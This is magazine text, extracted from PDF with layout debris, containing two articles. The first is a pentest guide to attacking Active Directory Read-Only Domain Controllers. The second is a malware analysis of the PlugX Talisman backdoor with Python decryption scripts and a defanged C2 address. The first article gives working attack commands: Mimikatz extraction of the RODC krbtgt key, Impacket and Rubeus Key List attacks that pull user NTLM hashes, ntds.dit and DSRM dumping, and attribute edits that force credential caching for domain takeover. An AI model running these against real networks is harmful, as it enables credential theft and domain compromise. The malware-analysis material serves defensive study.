msDS-RevealOnDemandGroup, msDS-NeverRevealGroup
В этом атрибуте указыва ются объекты , учетные данные которых могут кеширо ваться . Кеширование нужно для того, чтобы эти пользовате ли могли проходить провер ку подлиннос ти на RODC.
Get-ADComputer 'RODC' -prop msDS-RevealOnDemandGroup,
msDS-NeverRevealGroup
Изучение атрибутов
Соответс твен но , существу ет атрибут , запреща ющий кеширование прописан ных в нем учетных данных объектов . Он называется msDS-NeverRevealGroup.
msDS-AuthenticatedToAccountList
Здесь будут хранить ся объекты , которые успешно аутентифици ровались на RODC:
Get-ADComputer 'RODC' -prop msDS-AuthenticatedToAccountList
Изучение атрибута
msDS-Revealed*
Это целая группа из несколь ких атрибутов :
•msDS-RevealedUsers — список объектов , учетные данные которых ког да либо кешировались на RODC;
•msDS-RevealedDSAs — список RODC, которые кешировали пароль поль зователя ;
•msDS-RevealedList — список объектов , учетные данные которых были успешно сохранены на RODC.
Get-ADComputer 'RODC' -prop msDS-RevealedList,msDS-RevealedDSAs,
msDS-RevealedUsers
Изучение атрибутов
Аутентификация пользователей
RODC кеширует учетные данные определен ных пользовате лей как раз таки, чтобы проверить их подлинность . После успешной аутентифика ции по всем канонам должен быть сгенери рован TGT-билет, но RODC нельзя считать надежным KDC, поэтому у него создает ся собствен ная учетная запись krbtgt. Ее пароль использует ся для подписи создава емых TGT.
Упомяну тая учетная запись имеет необычное имя: krbtgt_<цифры>. Эти самые цифры — специаль ный идентифика тор ключа , который использовал ся для шифрования TGT-билета. Имя новой учетной записи KRBTGT хранит ся в атрибуте msDS-KrbTgtLink объекта RODC. А у этой самой новой учетной записи KRBTGT в атрибуте msDS-KrbTgtLinkBl содержится имя RODC. Таким образом , обнаружив RODC, можно связать его с конкрет ным KRBTGT_XXXXX. И, соответс твен но , обнаружив KRBTGT_XXXXX, можно связать его с конкрет ным
RODC.
Допол нитель но отмечу , что RODC имеет право на сброс пароля этой самой
KRBTGT_XXXXX.
Get-ADUser -filter {name -like "krbtgt*"} -prop Name,Created,
PasswordLastSet,msDS-KeyVersionNumber,msDS-KrbTgtLinkBl
Нахож дение KRBTGT_XXXXX
Get-ADComputer RODC -Properties msDS-KrbTgtLink
Нахож дение связан ного krbtgt
Get-ADUser krbtgt_19160 -Properties msDS-SecondaryKrbTgtNumber,
msDS-KrbTGTLinkBl
Нахож дение связан ного RODC
ПОИСК RODC
Как я уже отметил , ты можешь обнаружить учетную запись с именем KRBTGT_< цифры>, после чего глянуть ее атрибут msDS-KrbTGTLinkBl и найти связан ный контрол лер, но есть и иные способы нахождения RODC.
Самый простой — использовать фильтр :
Get-ADDomainController -filter {ISReadOnly -eq $True}
|
|
|
|
|
Поиск |
RODC |
|
|
|
|
|
|
|
|
|
||||||
Также была обнаруже на группа «Контрол леры |
домена |
— только чтение » |
||||||||
и «Контрол леры |
домена предпри ятия |
— только чтение », которые имеют RID |
||||||||
521 и 498 соответс твен |
но . RODC входит в одну из этих групп в зависимос ти |
|||||||||
от его уровня . Соответс твен |
но , мы можем либо перебрать |
все компьюте ры , |
||||||||
анализи руя |
их атрибут |
PrimaryGroupID, либо сначала |
получить GUID этих |
|||||||
групп: |
|
|
|
|
|
|
|
|
|
|
Get-ADGroup -filter {name -like "*чтен*"}
Нахож дение групп
А затем извлечь участни ков :
Get-ADGroupMember -identity d876774c-474b-4a70-a3d9-e89998e5a99e
Находим участни ков
ПОЛУЧЕНИЕ КЕШИРОВАННЫХ ПАРОЛЕЙ С RODC
Первым делом ты должен получить принципала , который имеет права локаль ного админис тра тора на RODC. Это может быть компро мета ция как кого то привиле гиро ван ного , так и просто пользовате ля , прописан ного в атрибуте managedBy. Но перед этим не забудь выяснить , кого вообще мы можем ском промети ровать . Для этого загляни в атрибут msDS-RevealedUsers:
Get-ADComputer 'RODC' -prop msDS-RevealedUsers,
msDS-RevealOnDemandGroup,msDS-RevealedList
Просмотр атрибутов
Просмотр атрибутов
Столь большие отличия не случай ны . Вроде бы кешировать разрешено RACHAEL_LAMBERT и админис тра тора , а закеширова ны данные только второго , откуда то взявшегося RODC и krbtgt_19160. Проблема заключа ется в том, что кеширования произой дет только после успешной аутентифика ции поль зователя в домене. То есть если RACHAEL_LAMBERT сейчас залогинит ся , то дан ные этого пользовате ля будут переданы RODC обычным контрол лером домена для кеширования . Учетные данные RODC и krbtgt_19160 лежат в кеше потому, что компьютер ная учетная запись использует ся , например , при работе со службой каталогов , а с помощью KRBTGT шифруют ся выдава емые TGT.
Так как все закеширован ные пароли будут лежать в ntds.dit, то смело дампим его любым удобным способом . Но сначала нужно получить доступ от лица локального админис тра тора . Вспомним , что в атрибуте managedBy был прописан некий FAUSTINO_SHERMAN.
Атрибут managedBy
Получа ем доступ к этому пользовате лю , заходим на хост и видим, что мы дей ствитель но в группе ЛА.
Членство в группе локальных админис тра торов
После этого дампим ntds.dit как нам угодно , например через VSS.
Продолжение статьи →
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
||
|
p |
|
|
|
|
g |
|
|
||
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|||
← НАЧАЛО СТАТЬИ w. |
|
|
BUY |
|
|
||||
|
to |
|
|
.co |
|
||||
w Click |
|
|
|
|
|
m |
|||
|
|
|
|
|
|
||||
w |
|
|
|
|
|
|
|
|
|
|
p |
|
c |
|
g |
|
|
||
|
|
df |
|
|
n |
e |
|
||
|
|
|
-x ha |
|
|
|
|
ПЕНТЕСТИМ
READ-ONLY DOMAIN CONTROLLERS
DSRM
У всех контрол леров домена есть такая штука , которая называется DSRM. Она позволя ет сделать «запасной » пароль для учетной записи локального админис тратора на случай , если вдруг основной пароль забыт или утерян .
Как только мы получили доступ к RODC, обязатель но нужно дампить SAM с целью поиска этого пароля. Пароль связан с учетной записью админис тра тора, RID которой равен 500.
Получе ние DSRM
Причем если мы сравним этот пароль со стандар тным паролем админис тра тора, то они будут отличать ся .
Пароль обычного админис тратора
Нам может повезти , а может нет. Во первых , чаще всего устанав лива ется один и тот же пароль DSRM на все контрол леры домена, и мы сможем зайти на дру гой контрол лер домена от лица админис тра тора . Но, во вторых , чтобы зайти от имени админис тра тора , нужна особая настрой ка контрол лера : требует ся ,
чтобы значение DsrmAdminLogonBehaviour по пути HKLM\System\ CurrentControlSet\Control\Lsa было равно 2.
Провер ка реестра
Если нам повезет, то мы сможем выполнить вход от имени админской учетки .
Успешная аутентифика ция
ОСОБЕННОСТИ РАБОТЫ KERBEROS С RODC
Самая |
главная особен ность |
работы Kerberos с RODC в том, что RDOC |
|||
не может синхро низи ровать |
ся с контрол лером |
домена. Процесс |
DCSYNC воз |
можен лишь в одну сторону — с обычного контрол лера на RODC. Синхро низи ровать что либо с RODC невозможно .
Дамп с RODC
|
|
|
|
|
|
|
Дамп с DC |
|
|
|
|
|
|
|
|
|||
Также сгенери рован |
ный |
RODC TGT можно использовать |
и в домене, отдав его |
|||||||||||||||
запросом |
TGS-REQ на службу krbtgt обычного |
контрол лера |
домена. Когда |
|||||||||||||||
обычный |
КД |
получает |
данный |
TGT, он смотрит |
атрибут |
msDS- |
||||||||||||
RevealOnDemandGroup RODC и проверя ет : если принципал |
тикета |
указан |
||||||||||||||||
в этом атрибуте |
и не указан в msDS-NeverRevealGroup, то TGT будет обновлен |
|||||||||||||||||
до «полного » TGT и подписан |
ключом |
обычной учетной записи krbtgt контрол |
||||||||||||||||
лера домена. Причем |
обычный |
контрол лер |
|
домена перегенери рует |
PAC |
|||||||||||||
билета, а не станет его копировать |
из TGT, сгенери рован |
ного |
RODC. |
|
|
|||||||||||||
Таким |
образом , если мы хотим создать |
«золотой», |
«бриллиан |
товый » |
||||||||||||||
или «сапфировый » тикет, обязатель |
но следить |
за тем, какой пользователь |
нам |
|||||||||||||||
нужен. Принципал |
ни в коем случае не должен |
присутс тво вать |
в списке msDS- |
|||||||||||||||
NeverRevealGroup. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
KEY LIST
Эта атака позволя ет извлечь NTLM-хеш пользовате ля, злоупот ребляя особен ностями взаимо действия RODC с обычным контрол лером домена. Сначала «золотой» тикет генерирует ся с использовани ем ключа krbtgt RODC и отправ ляется в запросе TGS-REQ на обычный контрол лер домена. При этом устанав ливается специаль ный флаг KERB-KEY-LIST-REQ. И если целевая учетная запись присутс твует в атрибуте msDS-RevealOnDemandGroup RODC и отсутс твует в атрибуте msDS-NeverRevealGroup, то TGS-REP будет содержать струк туру KERB-KEY-LIST-REP с учетными данными пользовате ля.
Для выполнения атаки нам нужны :
1.AES-ключ учетной записи krbtgt с RODC.
2.Номер версии ключа (последние цифры в имени krbtgt).
3.Имя пользовате ля, хеш которого хотим получить. Пользователь должен быть прописан в атрибуте msDS-RevealOnDemandGroup.
Первые два объекта можно получить, используя Mimikatz:
lsadump::lsa /inject /name:krbtgt_19160
Извле чение ключа AES-256
А потом можно восполь зовать ся Rubeus либо Impacket для получения NTLMхеша пользовате ля :
# impacket
impacket-keylistattack CRINGE/FAUSTINO_SHERMAN:pass123@dc01
-rodcNo 19160 -rodcKey
fa34fec82433432f4b3e3fb8005bd369ddde8f15ee5450e92d9304ecd07bab60
-dc-ip 192.168.116.133 -debug
#Rubeus
#Сначала запрашиваем TGT
Rubeus.exe golden /rodcNumber:19160 /aes256:
fa34fec82433432f4b3e3fb8005bd369ddde8f15ee5450e92d9304ecd07bab60 /
user:RACHAEL_LAMBERT /id:1196 /domain:cringe.lab /sid:S-1-5-21-
1437000690-1664695696-1586295871
# Отдаем TGT в запрос TGS-REQ
Rubeus.exe asktgs /enctype:aes256 /keyList /service:
krbtgt/cringe.lab /dc:dc1.cringe.lab /ticket:doIFgzCCBX+gA
Impacket перебирает всех пользовате лей домена
Листаем вниз и находим хеш пользовате ля .
Impacket натыкается на пользовате ля из msDS-RevealOnDemandGroup
КОНТРОЛЬ НАД ОБЪЕКТОМ RODC
Если вдруг в ходе пентеста получилось обнаружить учетную запись, которая имеет права GenericWrite/GenericAll/WriteProperty на msDSRevealOnDemandGroup и желательно на msDS-NeverRevealGroup, то захват домена обеспечен ! Все сводит ся к изменению этих самых атрибутов msDSRevealOnDemandGroup и msDS-NeverRevealGroup, что приведет к кеширо
ванию паролей новых пользовате лей.
Например , мы видим, что кеширование неких RAMONA_TURNER,
RAMON_STEWART и RANDELL_COLON отключено .
Изучение атрибутов
Посколь ку у нас учетная запись имеет контроль над этим атрибутом , просто очищаем его:
Set-DomainObject -Identity RODC$ -Clear 'msDS-NeverRevealGroup'
Очистка атрибутов
А в атрибут msDS-RevealOnDemandGroup, наоборот , добавляем пользовате лей:
Set-DomainObject -Identity RODC$ -Set @{'msDS-RevealOnDemandGroup'
=@('CN=RAMONA_TURNER,OU=Test,OU=BDE,OU=Tier 1,DC=cringe,DC=lab',
'CN=RAMON_STEWART,OU=ESM,OU=Stage,DC=cringe,DC=lab',
'CN=RANDELL_COLON,OU=TST,OU=Tier 2,DC=cringe,DC=lab')}
Изменение атрибутов
Далее придет ся некоторое время подождать , пока не пройдет успешная син хрониза ция RODC с обычным контрол лером домена и получение учетных дан ных пользовате лей , указан ных в msDS-RevealOnDemandGroup. Для этого мониторь содержимое атрибута msDS-RevealedList: в нем хранит ся список объектов , учетные данные которых успешно закеширова лись на RODC. Коман ды смотри в разделе «Поиск».
ЗАКЛЮЧЕНИЕ |
|
|
|
|
|
|
|
|
|
|
||
RODC пользует ся популярностью |
у системных |
админис тра торов . Да, этот инс |
||||||||||
трумент |
удобен , но мало кто знает , что он создает |
новые векторы |
для атак. |
|||||||||
Самые частые мисконфи ги : |
|
|
|
|
|
|
|
|
||||
1. |
Кеширо вание |
RODC большого |
числа учетных |
данных , например |
когда |
|||||||
|
в msDS-RevealOnDemandGroup указыва ют группу Authenticated |
|||||||||||
|
Users. Компро мети рует ся RODC, и мы получаем доступ к этим данным . |
|||||||||||
2. |
RODC админис три руют |
ся группой |
RODC |
Admins, которая чаще всего |
||||||||
|
не защищена |
должным |
образом |
. Соответс твен но , атакующий |
пробива ется |
в эту группу , идет на RODC, а далее смотри пункт 1.
3.Пароль DSRM на обычном контрол лере домена и на контрол лере домена RODC одинако вый.
Иными словами , RODC нельзя считать панацеей , но при грамот ном админис трирова нии множес тво распростра нен ных ошибок получится сгладить либо исправить .
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
c |
|
o m |
ВЗЛОМ |
||||
|
|
|
|
|
|
|||||
|
|
|
to |
BUY |
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|
||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
ИЗУЧАЕМ ВРЕДОНОС TALISMAN НА ПРАКТИКЕ
В 2022 году несколь ко антивирус ных ком |
|
||||||||||
|
|||||||||||
паний опубликова |
ли обзоры написанного |
|
|||||||||
на C бэкдора |
из семейства |
PlugX под наз |
|
||||||||
ванием Talisman. На примере |
этого трояна |
|
|||||||||
|
|||||||||||
мы разберем |
, как выполняет |
ся динами |
rayhunt454 |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
ческий |
и статичес кий анализ |
вредонос |
|
||||||||
ного ПО, а также создадим |
собствен |
ные |
|
||||||||
сигнатуры |
для детектирова |
ния иссле |
|
||||||||
дуемого образца. |
|
|
|
|
|
|
|
|
Бэкдоры этого семейства известны с марта 2022 года и довольно хорошо изу чены. Впервые описала его возможнос ти компания Trellix, схожий модуль также описыва ет компания Dr.Web под названи ем BackDoor.PlugX.38. Конкрет но этот образец представ ляет собой многоком понен тную вредонос ную программу , которая попадает на компьютер жертвы благода ря другому трояну загрузчи ку и работает в оператив ной памяти машины.
Вредонос состоит из трех компонен тов : исполняемо го файла SNAC.EXE, имеюще го действи тель ную цифровую подпись , который загружа ет модифи цирован ную злоумыш ленни ками динамичес кую библиоте ку WGXMAN.DLL с помощью техники DLL side-loading. В свою очередь , библиоте ка содержит зашифрован ный файл SNAC.LOG, в котором спрятана полезная нагрузка . Биб лиотека запускает шелл код в функции DllMain и расшифро выва ет файл SNAC. LOG. Далее исполняемый код, полученный после расшифров ки этого файла , извлекает конфигура цию PlugX Talisman, а также основную полезную нагрузку PlugX, тоже представ ленную в виде динамичес кой библиоте ки . Она содержит основной модуль вредоно са PlugX Talisman, который загружа ется в память про
цесса SNAC.EXE.
Принцип работы PlugX Talisman
В этой статье мы изучим образец вредонос ной программы , научимся про водить ее анализ , найдем интерес ные участки в коде модуля, расшифру ем файл SNAG.LOG, а также получим конфигура цию PlugX Talisman и извлечем основную полезную нагрузку PlugX.
О том, как из подручных материалов с помощью смекал ки и умелых рук постро ить сквореч ник лабораторию для анализа вредоно сов , подробно расска зано в статье «Код под надзором . Создаем виртуаль ную лабораторию для анализа малвари ».
ИНСТРУМЕНТАРИЙ
Для дальнейше го исследова ния вредонос ного файла восполь зуемся сле дующим софтом :
1.DIE — программа для определе ния типов файлов .
2.PeStudio — программа для поиска артефак тов в исполняемых файлах .
3.IDA Pro — интерак тивный дизассем блер, используемый для реверс инжи ниринга .
4.Wireshark — инстру мент для анализа сетевых протоко лов.
5.Burp Suite — использует ся в качестве прозрачно го прокси сервера с целью анализа взаимо действия вредонос ного файла по протоко лу HTTPS.
6.Loki Scanner — сканер IOCs.
7.YaraEditor — программа для тестирова ния и создания правил YARA.
8.ApiLogger — утилита для анализа вызываемых WinAPI-функций исследуемо го вредоно са.
9.x64dbg — отладчик с открытым исходным кодом для Windows, предназна ченный для анализа вредонос ных программ .
10.Process Hacker — утилита для мониторин га процес сов и служб.
11.Плагин mkYARA для IDA — плагин для генерации правил YARA на основе кода.
ПЕРВИЧНЫЙ АНАЛИЗ
Прежде чем приступать к реверсу файлов , получим первичную информацию об исследуемых образцах. Загрузим файл SNAC.EXE в PeStudio. При анализе необходимо обратить внимание на строки , подклю чаемые библиоте ки, версии файлов , сертифика ты, а также на сведения о файле отладки, которые в некото рых случаях помогают атрибути ровать разработ чика.
Перей дем на вкладку Version.
Описание исполняемо го файла
Оригиналь ное имя файла — SNAC.exe, цифровая подпись указыва ет на то, что файл разработан компани ей Symantec Corporation.
Строка файла отладки
Файл отладки расположен по следующе му пути:
C:\bld_area\sesagent70\snac_build\bin.ira\snac.pdb
Перей дем на вкладку Libraries.
Подклю чаемые библиоте ки
PeStudio определя ет список библиотек , которые злоумыш ленни ки используют при написании вредоно са . Перейдем на вкладку Сertifcate.
Информа ция о подписи файла
Файл SNAC.exe является подписан ным, безопасным файлом . Теперь откроем файл WGXMAN.DLL в PeStudio.
Описание файла
В файле присутс тву ет строка о файле отладки:
C:\bld_area\sesagent70\snac_build\bin.ira\wgxman.pdb
Перей дем на вкладку Strings, в которой можно обнаружить строку SNAC.LOG. Теперь выполним поведенческий анализ , получим информацию о процес се
и запишем сетевой трафик . Запустим исполняемый файл SNAC.EXE, затем откроем Process Hacker и соберем информацию о процес се.
Не рекомендует ся исследовать вредонос ные программы на рабочей операци онной системе , посколь ку это может привес ти к заражению машины и утере ценных данных .
После запуска исполняемо го файла вредонос создал дочерний процесс conhost.exe.
Процесс SNAC.exe
Нажмем два раза на имя этого процес са , откроем вкладку Modules.
Загружа емая библиоте ка WGXMAN.dll
Как видно из рисунка , вредонос загрузил динамичес кую библиоте ку WGXMAN. dll. Посмотрим генерируемый приложе нием трафик .
|
|
|
Взаимо дей ствие |
с управляющим |
сервером |
|
|
|||
|
|
|
|
|
|
|||||
Модуль |
PlugX |
Talisman начинает устанав ливать |
сетевое взаимо дей ствие |
|||||||
с управляющим |
сервером |
dhsg123[.]jkub[.]com. После получения |
адреса |
|||||||
домена устанав лива ется |
TCP-соединение |
по порту 80. |
|
Содер жимое TCP-пакета
Также исследуемый образец обращает ся к управляюще му серверу по протоко
лу HTTP.
Содер жимое HTTP-пакета
В результате первично го анализа мы получили информацию о вредонос ном процес се , узнали адрес управляюще го сервера , установи ли протокол взаимо действия , а также обнаружи ли интерес ные строки и описание файлов .
РАЗБОР МАЛВАРИ
Приступим к подробно му исследова нию кода. Динамичес кий анализ будем проводить с использовани ем утилиты x64dbg. Анализ псевдокода выполним
в IDA Pro с установ ленным плагином HexRays. Чтобы получить наиболее пол ный результат , при анализе вредонос ных программ необходимо комбиниро вать инстру менты.
Программа SNAC.EXE представ ляет собой безопасный исполняемый файл, который имеет валидную цифровую подпись . Его основная задача — загрузка динамичес кой библиоте ки WGXMAN.DLL методом DLL side-loading. После заг рузки библиоте ки выполнение передается на функцию экспорта DllMain. Далее динамичес кая библиоте ка расшифро выва ет исполняемый код в файле SNAC.LOG и передает выполнение на него.
Приступим к анализу . Для этого загрузим исполняемый файл SNAC.EXE в утилиту x64dbg, в которой будем проводить отладку. Также загрузим динами ческую библиоте ку WGXMAN.DLL в IDA.
Для проведе ния динамичес кого анализа необходимо найти точку останова , с которой начинается выполнение основных функций программы . Для этого проана лизи руем код загружа емой библиоте ки и найдем функцию , подходящую для этой цели.
В IDA открываем вкладку File → Open и выбираем файл WGXMAN.DLL. После загрузки файла мы попадаем на функцию DllMain. Далее декомпилиру ем код, используя плагин HexRays, для этого нажимаем клавишу F5. И синхро низируем анализ кода на вкладке IDA View-A и Pseudocode-A, для чего перенесем вклад ку Pseudocode-A в правую часть вкладки IDA View-A. Нажатием правой кнопки мыши выберем Syncronize with → IDA View-A, теперь при выборе участка кода он будет подсве чиваться в каждой вкладке .
Участок кода функции DllMain
Перехо дим в функцию sub_6FE443C, эта функция и будет точкой входа во вре мя динамичес кой отладки. Проана лизи руем ее.
Код функции sub_6FE443C
Функция sub_6FE42A0 служит для получения списка функций экспорта динами ческой библиоте ки kernel32.dll.
Содер жимое функции sub_6FE42A0
Начнем отладку в x64dbg. Для этого перейдем к функции sub_6FE443C нажати ем сочетания клавиш Ctrl-G, затем наберем адрес функции и разберем алго ритм расшифров ки констант .
Переход по адресу 6FE443C
Поставим точку останова на вход функции . Нажмем F7 для захода в функцию и увидим интересу ющие нас констан ты .
Контроль ные суммы функций экспорта библиоте ки kernel32.dll
Начало отладки вредоно са
Зайдем в функцию call wgxman.6FE42D4 и разберем механизм поиска экспортных функций библиоте ки kernel32.dll.
Алгоритм дешифрования констант
Псевдокод функции дешифрования
В функции sub_6FE42D4 расположен алгоритм преобра зования функции экспорта библиоте ки kernel32.dll. Имена экспортиру емых функций не хра нятся в открытом виде, поэтому трояну следует сначала привес ти их в пригод ный для использования вид. Для этого на вход функции sub_6DE42D4 поступа ет констан та и список функций экспорта библиоте ки kernel32.dll, далее из названия функции экспорта считыва ется символ , преобра зуется по алгорит му ROR со смещени ем 7, а затем получается сумма всех преобра зованных символов .
Напишем этот алгоритм преобра зования в виде программы на Python. Спи сок функций экспорта возьмем с сайта geofchappell.com.
name_const = ['0xc917432','0xf8062593','0xef64a41e','0xf4e2f2b2',
'0xb4ffafed','0xbbafdf85']
ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
f = open('list_export_kernel32.txt','r')
w = open('out_export.txt','w+')
def decode(s: str):
result = 0
for j in s:
result = ror(result,7,32)
result += ord(j)
return hex(result)
for i in f:
s = i.replace('\n','')
d = decode(s)
if d in func:
w.write(s + '-' + d +'\n')
f.close()
w.close()
Запус тив программу , мы получим следующий результат .
Вывод функции декодирова ния констант
Преобра зуем псевдокод в читаемый формат , восполь зовавшись возможнос тями IDA Pro. Горячая клавиша N позволя ет переиме новать переменные
в псевдокоде IDA.
Преобра зован ный псевдокод функции 6FE443C
После провер ки того, что имя запущенного файла содержит .NAC., управление передается по адресу 0x6FE44E1.
Мы разобрали метод запутывания названий функций вредоно сом. Теперь перейдем к участку кода, где расшифро вывается файл SNAC.LOG. Для этого найдем функцию CreateFileA, восполь зовавшись сочетанием клавиш Ctrl-G.
Переход на функцию CreateFileA
По адресу 0x6FE43C8 происхо дит вызов функции CreateFileA, а в регистре EAX содержится путь к файлу SNAC.LOG.
Участок кода вызова функций CreateFileA, GetFileSize, VirtualAlloc
Далее вредонос получает размер файла SNAC.LOG с использовани ем функции GetFileSize. Затем происхо дит выделение памяти с помощью функции
VirtualAlloc.
Продол жаем отлаживать код: нажимаем F8 и спускаем ся к адресу функции
ReadFile.
Вызов функции ReadFile
Перей дем к значению в памяти ds:[edi+0x3C] (параметр lpBuffer функции ReadFile). Так как по этому адресу хранят ся значения , нажимаем правой кноп кой мыши на [edi+0x3c] и переходим на вкладку «Перейти к дампу → Зна чение [edi+0x3C]». После выполнения функции по этому адресу сохранит ся содержимое файла SNAC.LOG.
Адрес в памяти содержимого файла SNAC.LOG
По адресу 0x00550000 хранит ся содержимое файла SNAC.LOG. Нажимаем F8 и двигаем ся дальше . Находим участок кода, в котором расшифро выва ется этот файл.
Алгоритм расшифро вания файла SNAC.LOG
В регистр ESI передаются значения по адресу [edi+3c] (там хранит ся содер жимое файла SNAC.LOG), далее с каждым байтом файла происхо дит сле дующее преобра зова ние . Сначала из него вычитается значение 0x48, далее выполняет ся операция XOR со значени ем 0x19, и, наконец, полученный резуль тат складыва ется со значени ем 0xA7. Далее выполнение кода передается
на расшифро ван ные значения и вызывается функция call esi. Поставим точ ку останова на этом вызове.
Давай напишем на Python код расшифров ки файла SNAC.LOG и загрузим расшифро ванный файл в IDA Pro.
f = open('SNAC.LOG','rb')
w = open('SNAC_DECODE.LOG','wb+')
cont = f.read()
result = bytearray()
for i in cont:
#print(i)
b = i - 0x48
b ^= 0x19
b += 0xa7
result.append(b & 0xff)
w.write(result)
f.close()
w.close()
Получен |
ный |
расшифро ван ный |
файл SNAC_DECODE.LOG загрузим |
в IDA Pro |
|
и разберем |
его код. |
|
|
Участок кода расшифро ван ного файла SNAC.LOG
Как видно из рисунка , происхо дит запуск функции sub_269DD, в качестве вто рого аргумен та передается размер файла SNAC.LOG, равный 159 981 байту . При выполнении этого кода происхо дит поиск WinAPI-функции
GetProcAddress.
Поиск функции GetProcAddress
Продолжение статьи →
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|||
← НАЧАЛО СТАТЬИ w. |
|
|
c |
|
|
||||
|
|
|
|
.co |
|
||||
|
|
|
to |
BUY |
|
|
|
|
|
w Click |
|
|
|
|
|
m |
|||
w |
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
-x ha |
|
|
|
|
ИЗУЧАЕМ ВРЕДОНОС TALISMAN
НА ПРАКТИКЕ
Далее вредонос получает адреса следующих функций : LoadLibraryA,
VirtualAlloc, VirtualFree, ExitThread, RtlDecompressBuffer, memcpy.
Получе ние адресов функций
Затем происхо дят следующие преобра зова ния .
|
|
|
|
|
|
|
|
|
Преобра зова ние данных |
|
|
|
|
|
|
|
|
|
||||
На рисунке выше показан алгоритм |
расшифров ки полезной нагрузки , спрятан |
|||||||||||||||||||||
ной внутри динамичес кой библиоте ки . С целью замедления |
расшифров ки пять |
|||||||||||||||||||||
раз вызывается |
функция |
Sleep, затем расшифро ван ный |
буфер распаковы |
вает |
||||||||||||||||||
ся с помощью функции |
RtlDecompressBuffer. Преобра зован |
ные |
данные |
|||||||||||||||||||
будут |
сохранены |
в |
переменной |
v29, для которой выделяется |
память |
|||||||||||||||||
с помощью функции |
VirtualAlloc. Наша задача — при отладке попасть |
|||||||||||||||||||||
на функцию |
RtlDecompressBuffer, перейти про |
адресу |
переменной |
v29 |
||||||||||||||||||
и сохранить |
область памяти. Так мы получим основную полезную |
нагрузку |
вре |
|||||||||||||||||||
доноса |
PlugX. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
Приступа ем |
к отладке. Мы останав ливались |
на операн де |
call |
|
esi. |
|||||||||||||||||
Заходим в функцию , нажимаем клавишу |
F7, а затем F8. Проходим |
этап получе |
||||||||||||||||||||
ния адресов |
функций , далее, минуя этап расшифров ки полезной |
нагрузки , |
||||||||||||||||||||
остановим |
ся перед запуском |
функции |
RtlDecompressBufer. Эту функцию |
мож |
но отыскать , спускаясь вниз по участку кода либо перейдя на ее вызов. Для этого можно использовать сочетание клавиш Ctrl-G в x64dbg, после чего следует ввести название функции , на которую мы хотим перейти .
Вызов функции RtlDecompressBufer
В регистре ESI хранят ся преобра зованные данные (параметр UncompressBuffer). Щелкнем правой кнопкой мыши на этом регистре , затем нажмем «Перейти к дампу → esi» и получим основную нагрузку вредоно са
PlugX.
Основная нагрузка модуля PlugX Talisman
